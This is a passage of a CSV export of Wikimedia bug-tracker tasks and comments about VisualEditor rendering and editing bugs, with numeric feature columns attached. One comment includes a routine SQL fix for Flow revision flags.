+https://gerrit.wikimedia.org/r/83966",,,1387288509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+251161,Add Sikuli to the machines that run browser tests,Moving from CI to QA,,,1379709008,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+56382,VisualEditor: Behaviour of <pre> tags,"VE allows editing text between <pre>...</pre> tags.
+That is, you seem to be able, for example, to add working wikilinks and references. Once you save though, everything is rendered as wikicode, as in [[France]] and <ref>France</ref>, and of course is not clickable.
+Thryduulf argues that ""VE shouldn't show it as working if it won't work after saving"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1379694480,1415881409.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-6las75m7yq6t6y42jony,task_description,invalid,True,c1,3,False,False,False,11,,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+250402,VisualEditor: Behaviour of <pre> tags,"Content that is pre-formatted is not wrapped in <pre> tags but with space-indented-preformatting, which does work with wikitext structures.",,,1415881409,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6las75m7yq6t6y42jony,task_subcomment,,True,c1,3,True,,,71,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1
+56371,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"In some templates (e.g. Template:Infobox fornminne) on Swedish Wikipedia, the image in it is shown in full size when you enter VE. 
+
+Article: https://sv.wikipedia.org/wiki/S%C3%B6dermanlands_runinskrifter_305
+Screencast: https://dl.dropboxusercontent.com/u/8363895/out-8.ogv
+
+It does not behave like that for all templates though. In an article with Template:Kommunfakta is seems to work fine. E.g. https://sv.wikipedia.org/wiki/Botkyrka_kommun
+
+Behaviour is observed from two different users and in both Firefox and Chromium.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1379671920,1380930193.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-um6o7aq2fxsloslxu5y5,task_description,resolved,True,c1,3,False,False,False,11,,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+249835,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"Given the above comment and lack of further reports, I'm marking this as a duplicate of bug 51628
+
+*** This bug has been marked as a duplicate of bug 51628 ***",,,1380930193,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-um6o7aq2fxsloslxu5y5,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+249833,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"Yes probably, I did did this change: 
+
+https://sv.wikipedia.org/w/index.php?title=Mall:Infobox_fornminne&diff=prev&oldid=23823659
+
+and now it seems to behave correctly in articles using that template. If I find the same error on other articles, I'll try to se if this is it first.",,,1380026528,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-um6o7aq2fxsloslxu5y5,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+249830,VisualEditor: Some templates with images show full size images on Swedish Wikipedia,"Could this be bug 51628? i.e. an image size being specified as e.g. ""250px"" in a field that is expecting e.g. ""250""
+
+It seems very likely but I can't read the Swedish source code to check.",,,1380024894,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-um6o7aq2fxsloslxu5y5,task_subcomment,,True,c1,3,False,,,12,,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1
+56329,VisualEditor: Consistency when restoring a page,"<<[...] When you edit an old version of a page, you get the ""save page"" at the top of the page, but a ""restore page"" button instead of the ""save page"" button at the edit summary page, even if you have made changes in the older version (and thus aren't simply restoring it). Why we have two different buttons (save and restore), when we have only one name otherwise, isn't clear. Beneath the ""restore page "" button, the small text says ""By clicking the ""save page"" button, you agree..."". It doesn't indicate what I agree to by clicking the ""restore page"" button though... Fram (talk) 14:08, 19 September 2013 (UTC) >>
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1379602800,1383767339.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-yofovlast3zou4zon7j5,task_description,declined,True,c1,3,False,False,False,11,,0,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+247427,VisualEditor: Consistency when restoring a page,Reminding the user that they are editing from an old version and restoring it (with any changes they have made) over the top of the current version of the page is intentional. WONTFIXing.,,,1383767339,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yofovlast3zou4zon7j5,task_subcomment,,True,c1,3,True,,,18,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+56301,VisualEditor: blue template overlay overlaps other page elements,"Try clicking the commons template in https://pl.wikipedia.org/wiki/Omega_Centauri?veaction=edit for an example. This bug appeared a while back, and seems to have regressed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50970",Needs Triage,90.0,1379555760,1402294829.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n4ayvtd5iz5jguzeqtvl,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245737,VisualEditor: blue template overlay overlaps other page elements,"
+
+*** This bug has been marked as a duplicate of bug 51933 ***",,,1402294829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n4ayvtd5iz5jguzeqtvl,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+245731,VisualEditor: blue template overlay overlaps other page elements,This is because we wrap generated content in a div for ease of replacement. Arguably we shouldn't.,,,1379696782,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-n4ayvtd5iz5jguzeqtvl,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+56285,VisualEditor: Media items are inserted after selection and do not replace them,"**Author:** `renukaalurkar`
+
+**Description:**
+1)Log into http://en.wikipedia.beta.wmflabs.org
+2)Go to your user page
+3)Click on Edit beta tab
+4)Click on More
+5)Click Media
+6)Enter santa claus, select a image from the selection of images
+7)Select the image(the image is displayed in light blue)
+8)Again click on More, then Media and select another image.
+
+Expected:The original/old image should be replaced by the new image.
+Observed: The new image is added and the original image is also displayed.
+
+Another observation: Also, suppose there are 4 images Image1, Image2, Image3, Image4 one below the other. If Image2 is selected and I try to replace it with a new image, the new image appears in the place of Image3(instead of Image2).
+
+Observed on Firefox and Chrome.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51033",Needs Triage,90.0,1379530500,1380657485.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ql37zwei7lw6idcpnjvx,task_description,declined,True,c1,3,False,False,False,11,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+244706,VisualEditor: Media items are inserted after selection and do not replace them,"Yes, confirming that this is intentional; closing as ""WONTFIX"". I agree that changing in line with bug 51033 would make more sense.",,,1380657485,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ql37zwei7lw6idcpnjvx,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0
+244702,VisualEditor: Media items are inserted after selection and do not replace them,"I can confirm this is the current behaviour, and that both points are due to the same reason: new images are inserted immediately after a selected image.
+
+However I'm not sure that this behaviour is incorrect though as it is consistent with what happens when a user inserts media or a template with text selected (the template/media is inserted after the selection rather than overwriting it) - see bug 52460.
+
+There is an open request for the media settings dialog to allow an image to be easily changed though (bug 51033), which I think is a better way to handle this.",,,1380657191,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ql37zwei7lw6idcpnjvx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+56270,VisualEditor: Adding bold/italics to spaces before/after a word results in ugly wikitext,"Which is something like '' this '' as opposed to something like ''that''. Of course this is also true for the source editor, but since the wikilink tool already gets rid of spaces at the beginning or at the end of a word, I wanted to make sure this can/should also be done when just formatting it (and it's being requested).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1379509800,1383767551.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mlek6l25jsi4523n6c4x,task_description,resolved,True,c1,3,False,False,False,11,,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+243841,VisualEditor: Adding bold/italics to spaces before/after a word results in ugly wikitext,"This will be fixed by bug 52037.
+
+*** This bug has been marked as a duplicate of bug 52037 ***",,,1383767551,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mlek6l25jsi4523n6c4x,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243836,VisualEditor: Adding bold/italics to spaces before/after a word results in ugly wikitext,"User Steven at fr.wp asks that VE somehow recognizes and avoids that formatting is applied to spaces, since this results in ugly wikitext.
+He suggests that spaces get highlighted so that people can easily recognize them; they might become black (when ""bold"" is applied) or grey (when ""italics"" is applied).",,,1382971506,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mlek6l25jsi4523n6c4x,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0
+56266,VisualEditor: prevent creating internal links with no displayed text or warn this is happening,"It is not easy, but you can create an empty wikilink with VE, https://en.wikipedia.org/w/index.php?title=Ascending_cholangitis&curid=5544827&diff=572776141&oldid=566427601 (I was able to reproduce that somehow, I think I just added the link to an empty space).
+I can't imagine a situation where this is desirable or useful, please correct me if I am wrong.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1379502900,1380072033.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-dfnjvi4ebxg4qf7ygljp,task_description,resolved,True,c1,3,False,False,True,11,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+243647,VisualEditor: prevent creating internal links with no displayed text or warn this is happening,"Merging with bug 37835.
+
+*** This bug has been marked as a duplicate of bug 37835 ***",,,1380072033,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dfnjvi4ebxg4qf7ygljp,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+56257,visible parsoid HTML in existing Flow content on toro,"I updated Flow, Parsoid, and VisualEditor on toro. Adding a new post worked fine and brought up VE (after a long delay during which the text area should probably be locked) and I could WYSIWYG. \o/
+
+But existing summary and some posts on http://toro.wmflabs.org/wiki/Special:Flow/Sandbox_2 that have images and links in them show stuff like
+  <a rel=""mw:WikiLink"" href="".//Subpage"" data-parsoid=""{""stx"":""simple"",""a"":{""href"":"".//Subpage""},""sa"":{""href"":""/Subpage""},""dsr"":[89,101,2,2]}"">
+
+suggesting Flow is having problems figuring out Parsoid HTML content.
+
+I had set $wgFlowUseParsoid=true, now I think obsolete. I tried setting $wgFlowContentFormat='html', didn't seem to change behavior.
+
+Firebug reported some XHR errors, possibly from some VE API call, but now not.
+
+If the issue is existing content doesn't render right, this is fine to mark WONTFIX. We haven't promised data compatibility yet.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1379482140,1379545289.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_description,resolved,True,c1,3,False,False,True,11,,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+243217,visible parsoid HTML in existing Flow content on toro,"(In reply to comment #2)
+> This is due to us previously not tracking what kind of content was stored in
+> the field.
+Yup, flow_revision rev_flags had just 'utf-8'.
+
+> UPDATE flow_revision set rev_flags = CONCAT(rev_flags, ',html' ) WHERE
+> rev_flags NOT LIKE '%html%' and rev_flags NOT LIKE '%wikitext%';
+
+It worked! (now Toro has other errors...)",,,1379545289,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+243214,visible parsoid HTML in existing Flow content on toro,"This is due to us previously not tracking what kind of content was stored in the field.  We now store a value of either 'html' or 'wikitext' in the content flags of the revision.  Not highly efficient, but the following query would fix the issue:
+
+
+UPDATE flow_revision set rev_flags = CONCAT(rev_flags, ',html' ) WHERE rev_flags NOT LIKE '%html%' and rev_flags NOT LIKE '%wikitext%';
+
+Untested, but should work.  Not sure if its worthwhile to build out the proper maintenance script to migrate.",,,1379515263,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_subcomment,,True,c1,3,False,,,11,,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+243211,visible parsoid HTML in existing Flow content on toro,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/185,,,1379483847,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56205,VisualEditor: Dimensions of small images are lost in rendering,"Images that have thumbnail sizes that are larger than the original should be rendered at the specified size, not the size of the original.
+
+MediaWiki core does this, but somewhere between MediaWiki/Parsoid/VisualEditor the specified dimensions are lost.
+
+
+For example, on https://www.mediawiki.org/wiki/VisualEditor/Team there are various uses of [[File:Wikimedia_Foundation_office_camera_shy.png]] (of which the full size is 140px). The thumbnail size on that page is 150px, and when viewing the page normally it is rendered at 150px (browser scales up from 140px non-thumb url), but when editing in VisualEditor the node has a width attribtue of 140 instead of 150.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1379390340,1415881118.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-bd72y7iiei67kbxti76b,task_description,resolved,True,c1,3,True,False,False,11,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+240461,VisualEditor: Dimensions of small images are lost in rendering,Re-checked on https://www.mediawiki.org/wiki/VisualEditor/Team - seems to be fixed.,,,1415912062,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-bd72y7iiei67kbxti76b,task_subcomment,,True,c1,3,True,,,71,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240455,VisualEditor: Dimensions of small images are lost in rendering,Fixed in 2013.,,,1415881118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bd72y7iiei67kbxti76b,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+56182,Cant edit as logged in,"Using FF 23.0.1 and Google Chrome 29.0.1547.66 m. Try edit w:en:Ondine's curse from a section #Treatment and prognosis. When logged the page shows to be in process, but never allowes editing. Why I log of editing via VE is possible within seconds.
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Needs Triage,90.0,1379362020,1379376765.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-sj7ezonvgeb3be62737a,task_description,invalid,True,c1,3,False,False,True,11,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+239002,Cant edit as logged in,"OK, thank you.",,,1379399232,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-sj7ezonvgeb3be62737a,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+238998,Cant edit as logged in,"This sounds like you have a gadget or user script that is breaking VisualEditor - I can make an edit successfully: https://en.wikipedia.org/w/index.php?title=Ondine%27s_curse&diff=573233549&oldid=565577837
+
+If you disable your scripts and gadgets one-by-one you should be able to discover which one causes the problem, which will allow you to notify the author that their code is broken and needs to be fixed.
+
+Marking as ""INVALID"" as gadgets are not tracked in Bugzilla but on-wiki. Sorry for the disruption - if you need a developer to explain to the offending gadget's author how to fix their code, please direct the author to us in IRC at #mediawiki-visualeditor, on e-mail or here on Bugzilla.",,,1379376765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sj7ezonvgeb3be62737a,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+238994,Cant edit as logged in,"Sorry for mispeling. ""When I log off...""",,,1379362130,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-sj7ezonvgeb3be62737a,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0
+55979,VisualEditor: Edit summary field loses focus when pasting (Firefox),"When pasting some text into the edit summary box in Firefox 23 (via Ctrl+V or context menu), the paste occurs, but the edit summary box loses focus.
+
+Possibly related to bug 53632??
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378792920,1393634141.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-pdpn7hvlculri4ccy42t,task_description,resolved,True,c1,3,False,False,False,10,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+250892,VisualEditor: Edit summary field loses focus when pasting (Firefox),"Now that the edit summary is in its own window, this bug has gone away. I don't know whether the plan is to eventually return to the edit confirmation flyout - if so this bug may well reappear.",,,1393634141,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-pdpn7hvlculri4ccy42t,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+55927,Templates and tables {{infobox ship begin}},"This is going to give you a headache
+
+{{Infobox ship begin}}
+http://en.wikipedia.org/wiki/Template:Infobox_ship_begin
+is used in 26840 pages. I provides styling for tables used to make infoboxes relating to ships. It is used like
+
+{|{{Infobox ship begin}}
+{{Infobox ship image
+|Ship image=[[File:Whydah-model.jpg|300px]]
+|Ship caption=The ''Whydah Gally'' (1716–1717)
+}}
+{{Infobox Ship Career
+...
+}}
+|-
+|Commanded by:
+|Cap't. [[Lawrence Prince]]
+...
+|}
+
+The template transcludes {{WPMILHIST Infobox style}} which provides CSS styling
+class=""infobox {{#if:{{{2|}}}|{{{2}}}}}"" style=""float: right; clear: right; width: 315px; border-spacing: 2px; text-align: left; font-size: 90%;""
+So the table start tag and its styling are separate.
+
+Unsurprisingly VE fails to edit pages with this template correctly. The following was reported at 
